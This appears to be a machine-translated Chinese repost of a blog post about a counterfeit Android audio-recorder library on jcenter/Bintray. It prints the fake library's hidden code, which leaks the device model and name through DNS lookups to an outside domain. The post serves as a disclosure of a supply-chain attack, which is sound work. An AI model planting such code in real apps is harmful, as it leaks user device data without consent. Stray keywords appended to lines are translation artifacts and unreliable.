本篇文章來自國外一篇英文文章的翻譯。
原文地址:blog.autsoft.hu/a-confusing…
有鑑於此,當前項目統一將jcenter排序在了依賴庫源的最後。java
今年早些時候,我接到了一個任務,把一個演示應用程序,其中涉及錄製和播放音頻。像往常同樣,在這種狀況下,我搜索互聯網,瀏覽現有的庫,看看是否有人有我可使用的解決方案,或者至少基於個人實現。android
我很快就偶然發現了一個名爲 adrielcafe/AndroidAudioRecorder 的圖書館。它有一些音頻錄製的設置,一個漂亮的 UI,很是接近我所須要的,在 GitHub 上幾乎有一千顆星星。git
我建立了一個新項目,並按照 README 中的說明進行操做。github
我在清單中添加了錄製音頻和保存文件所需的權限,這很公平:服務器
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK" />
複製代碼
我將 JitPack 添加到個人存儲庫中,將庫添加到個人依賴項中:markdown
allprojects {
repositories {
google()
jcenter()
maven { url "https://jitpack.io" }
}
}
複製代碼
dependencies {
implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0'
}
複製代碼
最後,我還添加了庫的最基本的使用實例。:網絡
AndroidAudioRecorder.with(this)
.setFilePath(File(getExternalStorageDirectory(), "audio.wav").path)
.setRequestCode(0)
.record()
複製代碼
在構建和啓動個人應用程序後,我當即崩潰了。我想這必定是API級別的問題(在Oreo上),或者多是我搞砸了對庫的調用。一般的懷疑。而後,我在日誌中發現的是至關的驚訝。maven
07-25 15:09:23.386 3288-3311/hu.autsoft.example.audiotest E/AndroidRuntime: FATAL EXCEPTION: Thread-5
Process: hu.autsoft.example.audiotest, PID: 3288
java.lang.SecurityException: Permission denied (missing INTERNET permission?)
at java.net.Inet6AddressImpl.lookupHostByName(Inet6AddressImpl.java:135)
at java.net.Inet6AddressImpl.lookupAllHostAddr(Inet6AddressImpl.java:90)
at java.net.InetAddress.getByName(InetAddress.java:743)
at cafe.adriel.androidaudiorecorder.AudioRecorderActivity$1.run(AudioRecorderActivity.java:143)
Caused by: android.system.GaiException: android_getaddrinfo failed: EAI_NODATA (No address associated with hostname)
at libcore.io.Linux.android_getaddrinfo(Native Method)
...
複製代碼
該庫彷佛在初始化期間進行了網絡調用。無論怎麼說,他是打算這麼作。跳到 stacktrace 指向的行,在 onCreate in the library’s recording Activity 的結尾,在合法的初始化調用以後,我發現了這個:ide
protected void onCreate(Bundle savedInstanceState) {
...
Thread thread = new Thread() {
@Override
public void run() {
try {
InetAddress abc = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
if(abc.isLoopbackAddress()) {
keepDisplayOn = false;
}
} catch (UnknownHostException e) {
e.printStackTrace();
}
}
};
thread.start();
}
複製代碼
一個新線程啓動,構造一個 URL,其中包含設備的模型和名稱,後綴爲。N.cdn-radar.com (我不建議訪問)。而後,一個 isLoopbackAddress ()調用,據我所知(這主要是猜想,若是你更瞭解這個方法請糾正我)可能會或者不會短暫地鏈接到給定的地址,同時檢查它是不是一個 loopback 地址。(keepDisplayOn 是這個類中的一個隨機字段,我假設這一行在這裏,所以這段代碼看起來比較合理。)函數
因此基本上,這段代碼——若是它工做的話——將個人設備的 make 和 model 發送到一個隨機服務器。或者,若是它有互聯網許可的話,它就會這麼作,固然,幾乎全部的應用程序都默認擁有互聯網許可。幸運的是,我最新的演示應用程序尚未這個功能。
通過一段時間的調試,我在庫中的一個構造函數中發現了很是類似的代碼:
private AndroidAudioRecorder(Activity activity) {
this.activity = activity;
Thread thread = new Thread() {
@Override
public void run() {
try {
InetAddress byName = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
if(byName.isLoopbackAddress()) {
color = 0;
}
} catch (UnknownHostException e) {
e.printStackTrace();
}
}
};
thread.start();
}
複製代碼
固然,GitHub 的源代碼是這樣的:
private AndroidAudioRecorder(Activity activity) {
this.activity = activity;
}
複製代碼
這是很是可疑的。爲何一個看似很是流行的庫的做者會發佈一個與源碼建立的不一樣的.aar?在這一點上,我已經向他們提出了這個問題。
可是後來,因爲他們沒有回覆,我一直在想... ... 若是 JitPack 只是從 GitHub 上獲取代碼並本身打包,他們會怎麼作呢?JitPack 會將這種惡意代碼注入到庫中嗎?固然不是..。
做爲一個隨機調試步驟,我從存儲庫中刪除了 JitPack。
allprojects {
repositories {
google()
jcenter()
// maven { url "https://jitpack.io" }
}
}
複製代碼
個人代碼還在編譯中。
這意味着,事實上,我並無從 JitPack 獲取這個庫。它來自 jcenter。圖書館是如何到達那裏的呢?人們將它們發佈到 Bintray,而後要求將它們連接到 jcenter (據我所知,這是一個自動的、不多被拒絕的過程)。
這一般是一件好事,由於庫做者—— jcenter 在每一個新 Android 項目的默認狀況下都做爲存儲庫添加,因此想使用您的庫的人沒必要添加新存儲庫,這意味着將您的庫添加到他們的項目中只是一個簡單的、一行的更改。
在Bintray上搜索這個包,很快就發現了咱們的罪魁禍首。由明顯是假的jakewhaarton建立的,在一個以Jake Wharton的一個真實庫命名爲timber的repo下,咱們發現了這個和許多其餘假庫。其中一些也是流行的Android庫的副本或它們的錯別字,而其餘一些則與加密貨幣有關。
注意: 是的,上一段中的連接如今被破壞了,請參閱本文後面的更新。
回到錄音庫的假拷貝,咱們將看到爲何 Gradle 從 jcenter 中提取這個庫: 它的 groupId、 artifactId 和版本與原始版本徹底匹配,這是 Gradle 識別軟件包的所有依據。
固然,這個包不只存在於jcenter上,也存在於JitPack上。那爲何Gradle要從jcenter上拉出假的呢?很簡單,在咱們的build.gradle文件中,這個倉庫被列在了第一位。由於對大多數人來講,它都會是默認添加到項目中的倉庫之一。這就是這個假用戶的期望。
咱們能作些什麼呢?Bintray讓用戶同時報告倉庫和包,這是咱們能作的最好的事情。早在2018年2月,我就和幾個同事一塊兒作了這件事。這個包顯然是假的,並且是惡意的。Bintray尚未對它作任何事情。上面佈置的方案,到如今還能夠重現。
更新:這篇文章發佈後,Bintray在Twitter上發現了這個問題,並已經刪除了上面連接的包,同時也承諾從此會改進。我如今仍然持懷疑態度。
更新2:Bintray目前已經發布了一份完整的事件報告,詳細介紹了事件的通過,他們的補救工做,並對事件再次進行了道歉。
雖然關於Gradle依賴性的恐怖故事比關於NPM的故事要少得多,但在這個生態系統中,意想不到甚至是惡意的事情仍然可能發生,甚至要注意到這一點,可能須要很大的運氣。
固然,你也能夠在公司內部運行本身的Maven倉庫,讓每一個項目都徹底依賴它,只有通過仔細審覈和驗證的包纔會被導入。大多數人不會有時間對依賴關係如此謹慎。
如今,我只是開始將jcenter()列在個人項目倉庫的最後。